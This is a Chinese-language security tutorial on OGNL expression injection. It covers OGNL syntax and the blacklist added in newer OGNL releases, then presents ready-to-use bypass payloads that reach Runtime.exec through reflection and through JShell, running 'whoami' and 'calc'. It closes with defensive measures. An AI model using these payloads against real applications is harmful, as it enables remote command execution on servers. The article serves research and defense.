OGNL表达式注入高版本绕过分析
字数 1557 2025-08-30 06:50:12
OGNL表达式注入高版本绕过分析
OGNL基础
OGNL(Object-Graph Navigation Language)即对象图导航语言,是一种表达式语言,能够通过简短表达式访问、修改对象属性,调用方法甚至创建新对象。
OGNL三要素
- 表达式(expression):核心部分,定义要执行的操作
- 根对象(root):操作的目标对象
- 上下文对象(context):对象运行的上下文环境,以MAP结构描述对象属性及值
OGNL语法
-
"."操作符:
- 调用对象的属性和方法
- 上一个节点的结果作为下一个节点的上下文
- 示例:
student.school.master.name
-
"#"操作符:
- 调用非root对象
- 创建Map:
#{"name": "Mash1r0"} - 定义变量:
#a=new java.lang.String[]{"calc"}
-
"@"操作符:
- 调用静态对象、静态方法、静态变量
- 示例:
@java.lang.Runtime@getRuntime().exec("calc")
-
"$"操作符:
- 引用OGNL上下文对象中的值
- 常用于配置文件:
<param name="name">${name}</param>
-
"%"操作符:
- 计算OGNL表达式的值
- 示例:
%{hacker.name},%{1+1}
-
List创建:
- 直接使用
{"green", "red", "blue"}创建
- 直接使用
-
对象创建:
- 示例:
new java.lang.String[]{"calc"}
- 示例:
投影与选择
OGNL支持类似数据库的选择与投影功能:
-
投影:
- 语法:
collection.{XXX} - 示例:
students.{name}- 提取所有学生的name属性
- 语法:
-
选择:
- 语法:
collection.{Y XXX} - 操作符:
?:选择满足条件的所有元素^:选择满足条件的第一个元素$:选择满足条件的最后一个元素
- 示例:
students.{? #this.age > 18}- 选择年龄大于18的学生
- 语法:
OGNL高版本限制
在OGNL >=3.1.25、>=3.2.12版本中增加了黑名单机制,主要限制:
- 精准匹配方法对象:
.equals(method) - 类继承/实现关系检查:
.isAssignableFrom(methodDeclaringClass)
黑名单分类
-
第一类限制:
setAccessible(boolean)- 禁止开启私有访问setAccessible([...])- 禁止批量开启私有访问System.exit(int)- 禁止终止进程System.console()- 禁止获取console引用
-
第二类限制:
- 检查调用的类是否为黑名单中的类或其子类/实现类
- 包括
Runtime等危险类
绕过技术
反射绕过
利用反射调用Runtime执行系统命令:
@java.lang.Class@forName('java.lang.Runtime').getDeclaredMethods()[1].invoke(
@java.lang.Class@forName('java.lang.Runtime').getDeclaredMethods()[0].invoke(null),
new String[]{"/bin/bash","-c","whoami"}
)
绕过流程:
- 通过
Class.forName获取Runtime类 - 使用
getDeclaredMethods获取方法 - 通过反射调用
getRuntime()和exec()
JShell绕过(Java 9+)
利用Java 9引入的JShell功能执行代码:
@jdk.jshell.JShell@create().eval('java.lang.Runtime.getRuntime().exec("calc")')
特点:
- 不需要编写完整类
- 直接执行Java代码片段
- 类似Python/REPL交互式环境
防御措施
- 升级OGNL版本:使用最新版本,确保安全机制生效
- 输入验证:严格验证用户输入的OGNL表达式
- 沙箱环境:在受限环境中执行OGNL表达式
- 白名单机制:限制可调用的类和方法